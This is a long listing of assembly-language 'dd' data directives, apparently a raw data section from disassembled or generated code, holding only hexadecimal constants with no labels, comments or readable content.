		dd 0E85043FBh, 0B2230C80h, 3A77AA0Ah, 5D17B503h, 0F8E57913h
		dd 0F56448Bh, 948607C2h, 27069300h, 0C91D4A67h,	4C801F7Ah
		dd 0AF5A8DCEh, 0FCC80FA1h, 6B60DB18h, 0BBCC5029h, 0A363E500h
		dd 4CF27A2Bh, 80E3004Ah, 0D8416BF6h, 0DB1C57F7h, 881D53Ah
		dd 9A17A11Eh, 35609B21h, 541007Bh, 7E2BE6Fh, 2030624h
		dd 0A191A271h, 4AEEE8E5h, 0F544007Fh, 1BD3FC54h, 0BB0F3285h
		dd 0E382D448h, 0C0A09F3Eh, 24CE7638h, 0E00435h,	2694789Eh
		dd 0A11BCA0Fh, 9AE84B60h, 6A0E6015h, 0F8EB0967h, 380776Ch
		dd 0DC4C6660h, 0E09C160Eh, 0E9588020h, 17289FBEh, 9DC0BDh
		dd 0D9CC6F04h, 0F800C247h, 4D767C8h, 9AA1Ch, 6112EFA8h
		dd 11186B8Ch, 0DECC9000h, 0A9F959F0h, 56B90F62h, 4A60AEADh
		dd 0C4C19EF1h, 2BF04074h, 700A092h, 0DF9C64C7h,	0E3B025E8h
		dd 0B4911980h, 246A86A1h, 391A0200h, 6D96D1E0h,	0E6821BC2h
		dd 0E8C1206Fh, 10420B0h, 0CE432E0Fh, 0B249E029h, 1C9389BAh
		dd 0E408B674h, 0E7710980h, 9C612401h, 9ADFCCF8h, 4F047C01h
		dd 9E0EAF4Eh, 8031D621h, 34B0E001h, 3FE0E834h, 4900142Eh
		dd 0F98CF0D9h, 38C52F59h, 5EC01A23h, 2469B3h, 7880D6A0h
		dd 128A7409h, 5107E3FEh, 0E83A7650h, 41312C70h,	88080099h
		dd 2DBB378Bh, 7A98B382h, 65FCAC09h, 8E800718h, 0F4B799B0h
		dd 42F215h, 55760914h, 0C21CA89Bh, 0EDA4D70Eh, 0C85AC028h
		dd 8FADDAh, 0E3FF74E8h,	0FC1BD13Ah, 0C418882Ch,	3095A580h
		dd 0DD2B38h, 0C14CE4B5h, 7489CD9Ah, 5E006379h, 8DD94829h
		dd 766C04Ah, 1120B15Bh,	2695A0C8h, 0D012E59Ah, 24007D45h
		dd 0FE0EE967h, 7CF90006h, 18C47EC3h, 3B007328h,	302DB9A0h
		dd 41CB74h, 94217AE5h, 0A9C411F4h, 0B6D3E30Eh, 0F7DCC0ADh
		dd 8CA745Eh, 0FA3990A3h, 0D161B00h, 0AF8AB5Fh, 0EC0FBE3Eh
		dd 379880C0h, 22E92BCAh, 0CC6DE207h, 80998FF2h,	0FCF9240h
		dd 6AA60AC0h, 80E87076h, 370AEE4Dh, 5EC047CDh, 16D03946h
		dd 60E016D3h, 2B90009Fh, 0DBDCE943h, 0EE38A9E0h, 0FA350ED2h
		dd 0AC0F7EE2h, 7C5A203Dh, 1D99CDCBh, 9D20E81Bh,	760D007Ah
		dd 9F252AF8h, 70E6E01h,	0F4F5FBD2h, 0C055C8h, 0B46DEAB2h
		dd 9925AFB0h, 4C41753Dh, 4CB30006h, 0CAC48D47h,	37EB07F0h
		dd 81D57A7Bh, 0DC0EBEABh, 920066C5h, 0DB416EF4h, 0B0549679h
		dd 73D10009h, 24BAD321h, 4C000B07h, 7D1989B0h, 12C6239Eh
		dd 0BEBDFA1Bh, 98D7FC07h, 61E1E440h, 0F78A003Ah, 638EC1F4h
		dd 23009599h, 0CC4EB2BBh, 3C6021Ch, 0A901869Ah,	1BA08C5Bh
		dd 4005CCBh, 3A037085h,	48E4D393h, 0AF1E9CE8h, 4F4EC9B5h
		dd 31ADD880h, 0E00A281h, 7F476075h, 98EEEFh, 86A035DAh
		dd 0DEFAAC29h, 0D78CE002h, 0C0711360h, 5B425Fh,	0CA2B3D21h
		dd 0E57F36EAh, 0CDA7611Eh, 795F9F06h, 0CE971F10h, 0FD2502C0h
		dd 0C8ECD0h, 6D74BD69h,	0BEF390C0h, 0C0C031CCh,	11440E08h
		dd 0CD035F61h, 0A86F0308h, 0B014C3ACh, 0F85A57FEh, 589F269h
		dd 0D4EC16C8h, 8812C0B6h, 0DF0428C6h, 0CB215636h, 0ECCE3580h
		dd 0AE160026h, 0F3E9DDCFh, 18B2899Fh, 0B08B5C15h, 75940088h
		dd 351A65AAh, 4C67006Bh, 72EA4DD9h, 483B53BEh, 0B3250F6Eh
		dd 5ACCA0AFh, 1FFC7B7h,	0F86D8F54h, 0EC5B3C19h,	0D8FFE487h
		dd 0C9004DD6h, 45938E5Fh, 7F16189h, 0DEBD94C8h,	0E4EF6012h
		dd 2F003D36h, 71C9D511h, 7ED9EA8h, 0F0F6DA96h, 0FC4FE070h
		dd 0BD0E3F95h, 60BA44E8h, 2A78145Eh, 9AA50031h,	0B3EBFEEDh
		dd 5100983Bh, 659F0D2Fh, 7FFCBCDAh, 0E92900B4h,	0EE4CD035h
		dd 0FA03C4DBh, 49C6C7A7h, 0F743909Ah, 0B4E12AAEh, 7B381280h
		dd 5DD30179h, 0F411BB71h, 7A3A679Ah, 0D441AA9Eh, 0B782BF04h
		dd 74808E87h, 544A0129h, 7D8E89Ah, 7D1CDB7Fh, 1DD34082h
		dd 57006520h, 8C19B894h, 0A0161F58h, 80697EC0h,	2A37F233h
		dd 268741A1h, 3BAAA1DEh, 0C5C4BCEFh, 929069h, 0A8F3CC49h
		dd 0D8EA1DCh, 0B6F9F418h, 6103BCB9h, 0FEEA4141h, 0F2199FE2h
		dd 84CABD80h, 5C5E9B92h, 0C10044B4h, 8A226F0Eh,	80E357C3h
		dd 64183290h, 33B642h, 0C559EDA1h, 8CDA6FBFh, 6A8F5000h
		dd 686C106Dh, 0B9A55851h, 2FBB187Dh, 0B830B9BEh, 0DE792965h
		dd 98F875C3h, 0FC4E10h,	8DDB92F2h, 0F7AF19B1h, 0BBF01200h
		dd 0A10DA637h, 32C848B4h, 1B63DA00h, 4607628Dh,	0D0CA0601h
		dd 0ABB28644h, 0EC960C6h, 558F07E6h, 70EB7BA7h,	0D464E191h
		dd 3E55E38h, 8331796Ah,	8B90E00Fh, 0B210F6Fh, 0D14F9A7Dh
		dd 0D45ED307h, 0E382C3AFh, 8E9846CBh, 0A02C2D51h, 3C00C0A2h
		dd 4B023666h, 6EC1006Bh, 99D32E85h, 0A6141583h,	423092C5h
		dd 0D08EB104h, 46B1844h, 85F829A8h, 0D5B43400h,	0EE19A811h
		dd 26EA3B03h, 97D4C800h, 1B88848Ch, 9EB7100h, 23673147h
		dd 121F02A7h, 0D7A10BBBh, 62984440h, 0D388FE00h, 75FBFA85h
		dd 48E664h, 0AEB24B92h,	8E26284Fh, 350F20C0h, 536CB3AAh
		dd 7282200Eh, 5718C439h, 1B8E03ABh, 446A318Bh, 76EB8698h
		dd 5C40C9DEh, 0DB87326Dh, 108B6156h, 1088E97Dh,	3CC05D07h
		dd 0B5007477h, 64C6A0C7h, 0CC187D8Ah, 581876E1h, 0E3E8F1A1h
		dd 14E01D4h, 78C3A204h,	5C64E0C7h, 69981676h, 13FEB306h
		dd 6883076h, 6BF25681h,	602287Fh, 7BB5285Dh, 45B490DBh
		dd 0A7B3285Ch, 0BC4C07A8h, 10C0F324h, 0A071D25Fh, 26186F9h
		dd 11B17B85h, 42145DC6h, 0BD220020h, 29D5F50Dh,	0FE848F5Eh
		dd 0EB708212h, 0F0FEE4B6h, 0E456A023h, 0C08A2D22h, 239F8DA1h
		dd 41F6C420h, 404EE95Ah, 0A2979040h, 0E6620060h, 1295832Eh
		dd 2C90C17Dh, 5DBB1C00h, 0E469CECCh, 9C3C303Dh,	2061C418h
		dd 85D59F00h, 6294277Ch, 6E4014F8h, 15802084h, 78331CBBh
		dd 3C72A211h, 7E2114E2h, 0D44535D7h, 0C7D11060h, 19EA01EBh
		dd 0C1CC4333h, 7F610871h, 0F91E8647h, 514BA3Ch,	0E3DEC120h
		dd 880A3DCFh, 0FD4878EDh, 0E92A1A2Eh, 202D810Ah, 0F1414370h
		dd 0F87F5E1Ch, 6EDFF65Ch, 0E7B0D140h, 0F005D994h, 53D1C36Ch
		dd 0E3E2F700h, 698DEACh, 9252E484h, 69001809h, 0D8D9C885h
		dd 0F9FB5F0h, 0E2A28615h, 0C6C12014h, 0D0BB5EE3h, 5239A99Eh
		dd 0E40842F2h, 4E62F414h, 0DF1D14ECh, 8F453FE2h, 406DE3F9h
		dd 0B8E637F9h, 2B52D720h, 0C160D5A0h, 0E0CBA1F4h, 0CE006AC9h
		dd 9445E29Bh, 7F4268h, 5F82B96h, 4AD0A673h, 6500A7F0h
		dd 7BA4DD67h, 6066020Dh, 7ADE18FFh, 2E0732D1h, 7C450CAEh
		dd 4E421980h, 7120ACABh, 0A3B6119Eh, 1E8DF20Ch,	627D4D08h
		dd 0BAF054CBh, 38020BFDh, 0D7907D4h, 65318735h,	7C394244h
		dd 0B0C91015h, 101A6590h, 0A875B784h, 6C8E87C1h, 0CD4E417h
		dd 8287B57Ch, 71898002h, 6F240B6h, 5C0F39h, 34B7C753h
		dd 0A1EA98h, 0B339E1C9h, 77565AE0h, 0EF186360h,	3E871EDEh
		dd 991B123Fh, 417C528Dh, 5D138E10h, 9D803C3Eh, 867E89AAh
		dd 5100022Dh, 8C0C9375h, 7507BC5Dh, 2F18C03Ch, 46B26810h
		dd 0C03CBBFEh, 45C80F91h, 8E20154Dh, 0ABB0A261h, 9C213EC4h
		dd 70ED4062h, 0FF214AD3h, 7A6050BDh, 709E0085h,	0E6EF4E97h
		dd 0BC07BB08h, 6D04D08Eh, 72660085h, 0A99CE335h, 541040AFh
		dd 0C415C0B6h, 0F220E74Eh
		dd 18096B8h, 5E9E757Dh,	1FC55341h, 0BFC10C30h, 8A4095DEh
		dd 0BCE862h, 0E8FD63D3h, 2730DDC2h, 20F40490h, 303A076h
		dd 0F0076847h, 0A8180401h, 806A15C6h, 57F26908h, 1D65C70Fh
		dd 8020153Eh, 0CDB266DBh, 840847D1h, 3D381CB5h,	762BE9EEh
		dd 89654069h, 154F202Ch, 60FB4C18h, 2096ADE2h, 0E8726E08h
		dd 392154ACh, 0F5B2C31Bh, 60BC61B2h, 2871D71h, 0DB6416CCh
		dd 4F11115h, 453CE6BDh,	5D15FD00h, 263C10CFh, 2F938765h
		dd 0A0AE77F5h, 0E6A00E3Ah, 0BD18C11Ah, 20272C96h, 0ED4F1908h
		dd 0EF1E5FACh, 20D0151Fh, 0C0F43301h, 0A2161DBh, 8BD0888h
		dd 41732B8h, 0CA52C7E8h, 10903D48h, 5EA86FEEh, 0A068104Ch
		dd 10E3C57Dh, 0A8AB56E9h, 8220A552h, 0C12A39Dh,	22C53F15h
		dd 0CA3D8888h, 343F02E8h, 91516ABh, 89C6C98h, 7311B57Eh
		dd 0B4F2BBF0h, 0F1082096h, 54F7D3ADh, 0C06DEC21h, 614A9883h
		dd 0F01560AFh, 70A9C020h, 0ED4E83ECh, 78E4880Ah, 0C87F7A46h
		dd 81060AFh, 2975EFB0h,	55B1FB08h, 6CA0F8C5h, 690120A5h
		dd 0BC4970AFh, 40DC2B1Fh, 83752780h, 4709350Fh,	0E094CAC4h
		dd 0A7F01E79h, 1040AF42h, 756CB0F8h, 9D0714DEh,	9BE0A0FBh
		dd 0F003A195h, 32BC123Ah, 0B9D0C0AAh, 47883CE3h, 8377F800h
		dd 0A1C1104Bh, 8EA53718h, 29129A18h, 420A292h, 2CF41D26h
		dd 0BB431CECh, 2AE463AEh, 1A15463Ch, 0E340BC99h, 0D929D4AEh
		dd 0D791FB77h, 619E0A1Dh, 0E1724060h, 54B411F5h, 96FEF2AFh
		dd 731E0860h, 5254E9CDh, 0D7C12022h, 5EA0BAA7h,	68662160h
		dd 429E0180h, 1FA2536Dh, 61201629h, 4AD92118h, 20DACAA0h
		dd 2BA41A58h, 0C4404EA5h, 117440DEh, 1F02FF2Fh,	4F77052Ch
		dd 0F1F073Ch, 0D87DB22Dh, 8793385Bh, 283B2728h,	0F8DD0111h
		dd 3AE32D0Eh, 47FFDF7Dh, 439F18E4h, 0A1C02B2Ch,	35673397h
		dd 4CF23638h, 0AB28825Ch, 3F2D0289h, 2BA2209Bh,	878241Eh
		dd 375D029Ch, 7C00CFDDh, 0CF3F4C1Ah, 798F9318h,	38E0315Bh
		dd 0AF809B58h, 98CA44E3h, 7066AF2h, 0DF8968Ch, 143FF678h
		dd 90EC25DAh, 9C2D3001h, 0BC586895h, 6900F890h,	6B923203h
		dd 7DB056E0h, 0F53B0BF8h, 0EFF7315h, 0BB4A213Fh, 2FF8DA7Bh
		dd 149490B7h, 8899F211h, 0D8F70505h, 0F3B00633h, 7300598Ah
		dd 0D73E447Dh, 75D56BBh, 109A9C57h, 60C84A76h, 5C187F1Ch
		dd 1AF76018h, 3783BB20h, 0D0684C46h, 0BCA04D9Bh, 0E8C5E4A9h
		dd 36E0F984h, 3C7E613Eh, 4DD88079h, 5CE787DFh, 0D2C10CA2h
		dd 44B62D38h, 2ACF5E15h, 969400F0h, 19D8B5A1h, 0AFAE0009h
		dd 38045DD5h, 3B75F15Eh, 801E572Eh, 0C1A1F900h,	6E818B1h
		dd 933C58C0h, 2F3F3EBAh, 6A4534Eh, 0E017975Dh, 2260A60h
		dd 5D83384h, 30E9011h, 0DDDB2C84h, 0B6BBF9C8h, 0B018CA00h
		dd 1123855Ch, 0FE8A06C6h, 0F0399E86h, 540531C0h, 36EF43ADh
		dd 1810109Dh, 640F7BF2h, 1BBA4FBCh, 8C408460h, 0F55FD81Ah
		dd 0D53D5C90h, 15889BB4h, 0BBCECB88h, 5BA00587h, 4142AC8Ch
		dd 7E86D1D0h, 9E78914Ah, 3697DF01h, 2035F343h, 0ED01BA88h
		dd 0FD951B68h, 0A84B7C1Ah, 846129A2h, 69F840BAh, 81C1843Bh
		dd 19FB6460h, 23D18BCh,	0FF09DDA0h, 267BB9C9h, 0B1EE98h
		dd 0AFFAA610h, 0C5646B9Ah, 65130200h, 0D0A237BCh, 14909059h
		dd 0ACB450C9h, 0C8B83A80h, 11188DA1h, 7019F887h, 0A6070A3Dh
		dd 18965A5Eh, 957A19ACh, 0E02A39DEh, 0FB7D560Ch, 0E81BA0E6h
		dd 7E20C197h, 40872647h, 1357AE50h, 5EC6A502h, 0F80433ECh
		dd 0A108131h, 5E36081h,	5046958Ch, 0ABF363C8h, 6F34EA1Fh
		dd 0D4A9AF1Dh, 660B914h, 3606C960h, 0CF0091E1h,	1837F000h
		dd 832CA4D5h, 0B700D30Eh, 162D0C5Eh, 176C2412h,	0BF80060Ch
		dd 441C9815h, 184C8BFCh, 1406933h, 80FB25C4h, 1A5C002h
		dd 63C03E6Dh, 1F88A423h, 6DEB745h, 80CDDB9Fh, 0F34912E0h
		dd 36980470h, 2488F12Ah, 484D6144h, 30D8847Eh, 7403950h
		dd 0EED724B6h, 2BA78C10h, 9E189761h, 0B058DB37h, 9F9324FEh
		dd 0C6DD40B4h, 1B7EB240h, 314374Dh, 0F68385DAh,	4E100115h
		dd 92842CF3h, 0E0300011h, 4A5B0761h, 7106C3E9h,	429347AFh
		dd 7C6082E4h, 950A79EBh, 903634BAh, 4C082B12h, 97288226h
		dd 5844FE66h, 0E60CCA54h, 3E21A542h, 1121569Dh,	0C4AA0382h
		dd 0E003A995h, 0F186419h, 6A83B2E3h, 0A3B6A818h, 978C0650h
		dd 9416AE0Ah, 50018036h, 38EECE96h, 2EF09104h, 83B50005h
		dd 404D6C8Eh, 7421F18h,	3DDC3211h, 4D1BC4AFh, 0ED0494A6h
		dd 0D1146015h, 10908758h, 0F7E8BA96h, 589D847h,	600F98E0h
		dd 12C50EACh, 2402800Ah, 0D0379050h, 0FB08A819h, 0F288F46Eh
		dd 91AF4184h, 3008C2B6h, 0C7D88061h, 7C3AA891h,	228041E9h
		dd 42F00CCFh, 8C682618h, 2096289h, 0FB0204h, 95876DD4h
		dd 221E4492h, 0EF0B5D94h, 888CACD9h, 0A9F78841h, 4BAC180Ah
		dd 5118DC90h, 0C17596D8h, 7C3E3FC0h, 9869C112h,	187849E8h
		dd 3A4C43E5h, 0F12343F6h, 64903388h, 0E5677195h, 218EC60Ch
		dd 89136D8h, 0C81610DDh, 933FE201h, 8CA23918h, 90CABF21h
		dd 943D80B2h, 810748BAh, 0CD184012h, 40002B9h, 0B4224C2Fh
		dd 0F600Bh, 0BCB89206h,	0A4FA0C5Bh, 4E1043Eh, 25D2588Ch
		dd 86FA031h, 908419EBh,	0FBAE5151h, 1F609992h, 3800E174h
		dd 0B18908E8h, 0B3B63Ah, 9C9B2E3Bh, 4583E507h, 0EB49D407h
		dd 61474D99h, 0EA1D1280h, 134E00F3h, 2B6BEC6Ah,	0E3C75E9h
		dd 16FE004Bh, 3D528723h, 3ED91E58h, 4C0D00E6h, 0DAA7579Ch
		dd 5303E477h, 67D16F22h, 737FC0CAh, 0DD17F0F4h,	84E3D178h
		dd 0FB3216E9h, 4953E13Bh, 9C11E03h, 40688042h, 66BCD146h
		dd 1C9D0F47h, 1C74AFEAh, 480B1985h, 31E29F58h, 56811826h
		dd 114D438Eh, 29845297h, 3853324Bh, 218B7A09h, 37181B78h
		dd 3B1C85C0h, 1700A346h, 74B777B1h, 340097DCh, 416FCC29h
		dd 1EA4E77Dh, 0C3C6987h, 0F9305847h, 803E053Fh,	1DB54D08h
		dd 0EC66EDCEh, 421F7837h, 44F710F0h, 3943D5C8h,	0D6E3C1F5h
		dd 0C7C56300h, 0DD9E7503h, 0D0950E70h, 785793C4h, 69C8003Fh
		dd 5F94A2B4h, 7FEC1734h, 0BE3C28EAh, 8722195h, 0B664A257h
		dd 0C38F3F2Ah, 84225E21h, 9FDECC21h, 7708E365h,	9BD6228h
		dd 34176C90h, 7D9D4786h, 8E29F543h, 8354843Ch, 38152295h
		dd 578642EFh, 0D710A88Dh, 88E3DF27h, 946350ABh,	3C4EE5AAh
		dd 9C85068h, 186E6BE2h,	23890DF1h, 0AF7FC47h, 0C4738188h
		dd 14CEF77h, 10C7BE1Eh,	0C4B6AC60h, 634C7DC9h, 11D4C530h
		dd 0D8B32844h, 44A94C22h, 60433B1Bh, 0E4884A23h, 710164CBh
		dd 0FD0D6DD3h, 4397180Dh, 2F911124h, 325BDB84h,	0AFA4387Ah
		dd 7D312386h, 85243708h, 0C0FB9075h, 1EF14798h,	0A79C9300h
		dd 6FC5C101h, 31B0A813h, 1EA4A0C7h, 167C72h, 0A4E4F186h
		dd 0AB8FA253h, 0D7C00167h, 34FBB01Ch, 45163B7h,	508F0C4h
		dd 2430CE69h, 8E290DDh,	84D65302h, 0C8311946h, 18B26F98h
		dd 51B7110Dh, 3A93458h,	0F8588666h, 4B1C3980h, 10F76D99h
		dd 79A041F1h, 4418069Eh, 0C40F4F35h, 0E60E9Ch, 0C1052592h
		dd 0B4670A99h, 6A88E12h, 59F93E71h, 0E5B78606h,	29784A1Dh
		dd 1594AB78h, 9442EC99h, 0EC12A183h, 8C86E010h,	0E9FBF506h
		dd 3506813Bh, 376D8380h, 52532811h, 218B3D14h, 0E4A06414h
		dd 0D914344Ch, 700CB02Bh
		dd 0D43893DCh, 3A41D18Bh, 2F51CC0h, 4B7DECF9h, 9C83FF87h
		dd 44CD9166h, 5F73B8CCh, 0B4148C1Eh, 38E8C4A4h,	0D7773502h
		dd 0C479E848h, 34FB0F24h, 27722930h, 605CEC23h,	0C6EF98ADh
		dd 4E01CCB1h, 716DABB5h, 98485031h, 0C7E3CBFh, 83C1341Fh
		dd 9361BDEFh, 9E68E145h, 28E814E8h, 4DF29311h, 0C58F8450h
		dd 7B721C1h, 1017EB3Ch,	0A42B7362h, 99D011Eh, 86F7A4Ah
		dd 327F8305h, 0ACC39057h, 0BEC80AFCh, 3F47C41h,	769C4FABh
		dd 90E0DAE3h, 0ED2A31CFh, 0C402E0B3h, 0D4933A30h, 17E8A002h
		dd 0A9DFC549h, 0B5103530h, 928906D4h, 188D39C9h, 0AB04F78h
		dd 0C5700E0h, 0B5B6539h, 455E0A7Dh, 448C6A4h, 41DDC5AAh
		dd 6FDFAEB5h, 6320C849h, 3C651CFBh, 10CAA70h, 871722E9h
		dd 81E42CB4h, 6F3FBBA0h, 2085634Bh, 5E35D98Eh, 16EF0218h
		dd 0B4A38FDFh, 7B90F56Bh, 0DBF85A76h, 1A82669h,	963A9078h
		dd 0D5248000h, 546178A2h, 6FDC007Dh, 5881F753h,	22838BC5h
		dd 4F145129h, 6E44017Eh, 0D7C88A09h, 0BF8898A4h, 0B2BA001Fh
		dd 107F288h, 0DE407160h, 0B29F3EF3h, 49749020h,	0A9048888h
		dd 111E4331h, 274701D8h, 81441ADEh, 0F028EA01h,	1F302FC1h
		dd 0A7AB28D4h, 0C8B254E8h, 28DF243Eh, 482C472Ch, 0DD992301h
		dd 0A892708Fh, 60F6EC01h, 479F78A8h, 0E830F324h, 553E15EFh
		dd 0FA58A0E8h, 28481628h, 0A1285F77h, 0A850DD74h, 0F0FA5A2Fh
		dd 0E8949AE5h, 93292879h, 5EAA0060h, 0BF57BE44h, 10A24C9h
		dd 0C03B18B7h, 0C716F507h, 0A36B14Ch, 26250CFh,	0F31E8AB4h
		dd 67F802Ch, 3E6D89C1h,	81BB21C7h, 0E912D8A5h, 8D2A1C08h
		dd 41416979h, 483AE478h, 14244124h, 7B07D880h, 480A478Bh
		dd 3104ECA4h, 0EE421F35h, 0BA0002C6h, 0E4D5556Ch, 458898E6h
		dd 0A96186AAh, 77F19EC8h, 92DB0AF1h, 80083D41h,	0FCBD4093h
		dd 749066B6h, 0A2BC3A4Fh, 838AA967h, 50133B6Ah,	0BC5F8977h
		dd 0FA0B7104h, 22F33CCCh, 807361EEh, 2260E248h,	0AEBD0536h
		dd 0FD41B1h, 0EDEA8308h, 69C075B8h, 0E6E828C2h,	49330CCh
		dd 0CB505959h, 539D1903h, 78A3E76h, 0BE5F8019h,	8A34378Fh
		dd 39E84A34h, 0DC871100h, 9AECA13Ch, 0ED492700h, 6E671998h
		dd 55E400C1h, 0BBF0DA4Ch, 3F009523h, 0EBDE44C2h, 0F2D7114h
		dd 40297D35h, 0DC65C03Fh, 5E44EC4Dh, 0CAC3971Eh, 39AF3CC7h
		dd 5B75EA70h, 207E3063h, 154DD528h, 681A9037h, 0C39153h
		dd 0B3215259h, 0BB8D599Eh, 0E30938C0h, 185B7D22h, 2874F2FFh
		dd 20A94B8Bh, 0E3322161h, 0E03122A9h, 8E006C37h, 0BF6F9AB1h
		dd 0C0EB8BEDh, 0FC177C60h, 63EA260h, 19E730CDh,	3512761h
		dd 4190D52Eh, 7914E38Dh, 11096D9h, 0DEA95449h, 2CCC98AEh
		dd 0B0A567F6h, 10BB86C3h, 0E1884B55h, 851094C4h, 0CAE3C10h
		dd 11B74440h, 50F4F0AFh, 0CA771833h, 1187420h, 23F42548h
		dd 4D219E32h, 81BF60Ah,	400A571Eh, 0A819183Ch, 218C0B50h
		dd 70B92609h, 6B466002h, 80D1515Ah, 9FD659Ch, 0A83C5005h
		dd 0C1DF0633h, 30942EE0h, 0A300E2F2h, 49198B8Ah, 3E29662Ah
		dd 2C8CB6B2h, 8FB1593Fh, 43371D1Dh, 17A7EF00h, 1D23A57h
		dd 0BADE5B29h, 47C10DD1h, 2B30F1A0h, 92F840C8h,	33246B14h
		dd 0D983200Eh, 1E918D43h, 0C086A328h, 3F23FA49h, 96606DAFh
		dd 35301518h, 506448A5h, 2DB39200h, 0E20443C4h,	4161E5EFh
		dd 81ED4A80h, 336E69EAh, 91E1C054h, 9D1CEC50h, 0D07F6021h
		dd 0EAFFCD8Eh, 2D39A903h, 17CC3E3h, 32ED5718h, 836E348Dh
		dd 0E5B1060h, 13B1229Dh, 501B3E24h, 10EDF489h, 784E8E34h
		dd 0AD6D2859h, 0A1CD6620h, 142A31C1h, 290FD460h, 0A4508773h
		dd 6084B619h, 7D992440h, 0F87F9E67h, 975F3714h,	658243C0h
		dd 5CBF06ECh, 2CBB8049h, 60FD73F3h, 9956F877h, 0BA018028h
		dd 339F7D70h, 0BC451FEFh, 0B2942C08h, 51255319h, 0F0C14C01h
		dd 15D1C212h, 0B9BED6D1h, 68B02332h, 0B01C0882h, 0BA5BACA0h
		dd 7D80A8F5h, 37E7841h,	2FFF9876h, 317886F6h, 0A2100664h
		dd 8C41DD22h, 0C81B0872h, 1469B20h, 0E94510h, 611E9094h
		dd 0AA085E26h, 216B609h, 433F02E8h, 5455E860h, 0E8D50727h
		dd 0DAFF621Dh, 5939B0D8h, 80907920h, 19D47E30h,	154679Eh
		dd 0B0275297h, 205BB33Eh, 1E32CD6Ch, 494F184Dh,	0A82218E0h
		dd 5EF9D530h, 5B0C3DB5h, 38B992DDh, 0E4CF1D69h,	0FE3D3C08h
		dd 50FB00FFh, 7C9FF93Bh, 0B60E6C7Bh, 60D2A304h,	682DEA0h
		dd 48C71E84h, 8FA50C09h, 0F2835A11h, 4442483h, 6C4861F5h
		dd 908CB108h, 21BB3041h, 4802D568h, 860093E6h, 0B22FCCE0h
		dd 60C0FB2Eh, 0AF0FA8AAh, 747B0FB4h, 6D405486h,	1E089BB9h
		dd 0E5AE8703h, 0F82EAB68h, 0F2313696h, 678D0065h, 27B0CC7Ch
		dd 0FD036681h, 9E1F879h, 78587884h, 7BE5027Fh, 58BCCD70h
		dd 1B919E60h, 1300E3F4h, 0D9385CD3h, 1F3FCBDDh,	8E8277FAh
		dd 0DA807025h, 0BECE761Ah, 1242ED00h, 0CBD7D846h, 3A37309Fh
		dd 0BF15450h, 1DFA9100h, 715AC0C9h, 9EAD3D44h, 9F40BD80h
		dd 0AE41BFF1h, 0C01F6FF8h, 0B27DEA59h, 0C0DA118Ch, 1D8055CFh
		dd 70CD6AE5h, 0F37F5918h, 0BDAA4500h, 4339C516h, 73DA1CA1h
		dd 662E04B0h, 9D670755h, 784C2C17h, 0A20BB8B4h,	0B208049Dh
		dd 24F8090Ch, 56392218h, 0E350560h, 0B0617CBBh,	0F85A88F8h
		dd 60BD8C00h, 0D78EEF72h, 0BF4C306Eh, 7FC16F48h, 0C222BB18h
		dd 38F4011h, 0D8EF7824h, 0F93C7304h, 0F13202A4h, 605BB665h
		dd 50233A44h, 3BD9A075h, 1860C9F8h, 0B406BDCAh,	926879C7h
		dd 87743482h, 30819408h, 0B88E6D3Eh, 2C671FB3h,	0D5D0B00Ah
		dd 8CEA69FBh, 0B821220Fh, 0C463006Dh, 24CD329h,	369A5A05h
		dd 908CA8B2h, 0D75065E8h, 0CA6E629Ch, 0CA031660h, 0AB4C6D01h
		dd 8F110AB3h, 3872CCh, 84F3519Eh, 0FB1E45B8h, 303AC466h
		dd 410D398Ah, 221C0272h, 7024A104h, 0C6EA8B1h, 1D190541h
		dd 3C3186CCh, 0FA0AC88Ch, 0E856462Dh, 0C671CC64h, 6A9B0CC0h
		dd 0C15011A4h, 240C9931h, 2C48CA44h, 0A9220A60h, 2D01D857h
		dd 67E9F174h, 7D41C056h, 0D9976114h, 45774C8Fh,	34302C80h
		dd 30F3A488h, 9715393h,	50C050A6h, 2ED2F9CCh, 0B49E014Ch
		dd 26E522E1h, 48B052D3h, 0BD239C4Ch, 3A24DE4Ah,	88808405h
		dd 0AC2B98CAh, 51B465BEh, 0CEB30331h, 40C9F18Bh, 81C7C19Dh
		dd 9AEFCC99h, 11BBBE3Dh, 4C8E9E80h, 24B6E792h, 0E058F8A9h
		dd 11303339h, 55F8709Dh, 88A6621Ah, 44467B41h, 6F44BF0Ah
		dd 0E0018422h, 0ADCAC0C3h, 0D9E1898Fh, 39653E03h, 0F2CB2000h
		dd 0FB5D597Ch, 744A7121h, 51163A3Dh, 8E8F4700h,	0CEC54124h
		dd 44C01314h, 3AA20C68h, 721CB1D7h, 0D7C0F39h, 0C680D967h
		dd 0A4E78DD0h, 12DAAD01h, 435131CBh, 3B5A020h, 0F568C4Ah
		dd 19A8C4F3h, 0A5024B70h, 0A4810DDh, 7B087D95h,	0C7981108h
		dd 35820ED0h, 7D9C00DEh, 3B1E24BEh, 3E1F0BBAh, 348B5A00h
		dd 60C31041h, 17C02940h, 0E012412h, 0C2567B7Fh,	30831B6Ch
		dd 0CCA0C373h, 0A2CF6102h, 272C9F45h, 3E08DC4Dh, 0ADF14345h
		dd 9F860FDAh, 4D1839E8h, 0D201138h, 0C0DA009Dh,	3C2B1486h
		dd 56187C57h, 6341D749h, 15740080h, 0D90BADFh, 0D9245A9Eh
		dd 9832B643h, 63C02FB6h, 913B1EC8h, 0F8E4A03h, 0FE5AC3Dh
		dd 121D8C70h, 0E189950Dh, 7D108077h, 6DB3A2A5h,	879E1ECBh
		dd 0AFD90074h, 83C6B0A4h
		dd 0DA7819FEh, 0F5661607h, 2A3770CEh, 0C4C368E5h, 0C21011D6h
		dd 440520A4h, 0A703784Fh, 2ED49CCEh, 0FA49006Eh, 98A3E434h
		dd 0B2183A5Dh, 681874FCh, 59F86F21h, 0CF2B8200h, 7501073Dh
		dd 0B3135AF6h, 34C0D818h, 0D51A1D4Ah, 832A41FCh, 8128F3FBh
		dd 42B00128h, 8360F6C3h, 1F090CBh, 0BE356436h, 0F0F759A8h
		dd 0CA672A0h, 4A90B800h, 0DB6C7627h, 194E1F05h,	0FC01F9Eh
		dd 803AE59Bh, 40002242h, 60023E7Ah, 27589C03h, 0C0BA4FE8h
		dd 605E6C67h, 0F616C1ACh, 0C5248AE1h, 8C1F3875h, 0B02D9900h
		dd 18F5191Ah, 7009D63Eh, 0B600EE60h, 821BBED0h,	122E8A4h
		dd 9C6879DAh, 0B86F4C12h, 3B3373B0h, 0C0D1E826h, 619672Fh
		dd 8E5D9FECh, 0F50C4186h, 580D7F9Eh, 2E70FEEh, 4B81C447h
		dd 80580F17h, 646F4FA8h, 1066C3h, 0A51E2605h, 1975C4D2h
